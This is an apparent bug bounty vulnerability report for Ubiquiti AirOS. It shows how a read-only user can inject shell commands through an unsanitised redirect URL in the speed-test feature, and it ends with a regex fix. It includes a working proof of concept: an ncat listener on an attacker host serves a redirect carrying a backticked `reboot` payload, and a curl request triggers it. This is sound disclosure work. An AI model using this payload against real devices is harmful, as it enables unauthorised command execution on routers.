Ubiquiti Inc. · Report #139398
Read-Only user can execute arbitraty shell commands on AirOS
Summary
This report is the third of a series of three: #119317, #128750 and #139398. The researcher demonstrates how a read-only user can execute shell commands on a AirOS router, bypassing the solution to #128750 and consequently #119317. Three reports in a row makes a "combo" :)
How it was found
This vulnerability is very similar to #128750, but it avoid the solution applied to the last beta XM firmware.
In this report is used the last beta XM firmware: XM.v6.0-beta9
Vulnerability
The vulnerability resides in the function fetchCookies file remote.inc:117. Just like last time is a non sanitization or verification of the server (remote) response.
if ($res == -11) { #received the redirect
# got redirect, will have to try new one (if that's login.cgi)
$lcount = count($lines);
if ($lcount > 0) {
$new_url = $lines[$lcount - 1]; # the URL returned by the attacker have shell code injected
}
$rg_login = "(https?://$ip(:[[:digit:]]+)?)/login.cgi"; #regex don't property verify the URL, it allow string before and after the URL
if (IsSet($new_url) && ereg($rg_login, $new_url, $regs)) {
$retry = 1;
$base_url = $regs[1];
$url = $new_url; # URL with shell code is utilized
}
}
#[[REMOVED CODE]]
if ($retry != 0) {
$full_cmd = "$cmd_trigger -p $url"; # URL with shell code is injected
exec($full_cmd, $lines, $res); # shell code executed
$res = getRetVal($res);
}
}
Proof-of-concept
First we (attacker) need to initialize a local server to make the redirect to the victim, in this example the attacker ip is 192.168.1.100:
echo -en "HTTP/1.1 302 Found\r\nLocation: https://192.168.1.100/login.cgi `reboot`\r\nContent-Length: 0\r\n\r\n" | ncat -lp 8080
So you need to run a speed test against the attacker host, with can be done using the Web interface https://192.168.1.20/sptest.cgi, or by the following command (making the required adjusts):
curl 'https://192.168.1.20/sptest_action.cgi?ticket=507&action=remote&target=192.168.1.100&port=8080&login=ignore&passwd=ignore&airosid=96ba18a3aa55ba4c6e1f8ab111a9fb8f&_=1463505340471' -H 'Cookie: AIROS_001122334455=96ba18a3aa55ba4c6e1f8ab111a9fb8f; ui_language=en_US; last_check=1463504970136'
Possible Solution
This bug can be solved using literally 2 character, the REGEX end $ and begin ^:
$rg_login = "^(https?://$ip(:[[:digit:]]+)?)/login.cgi$";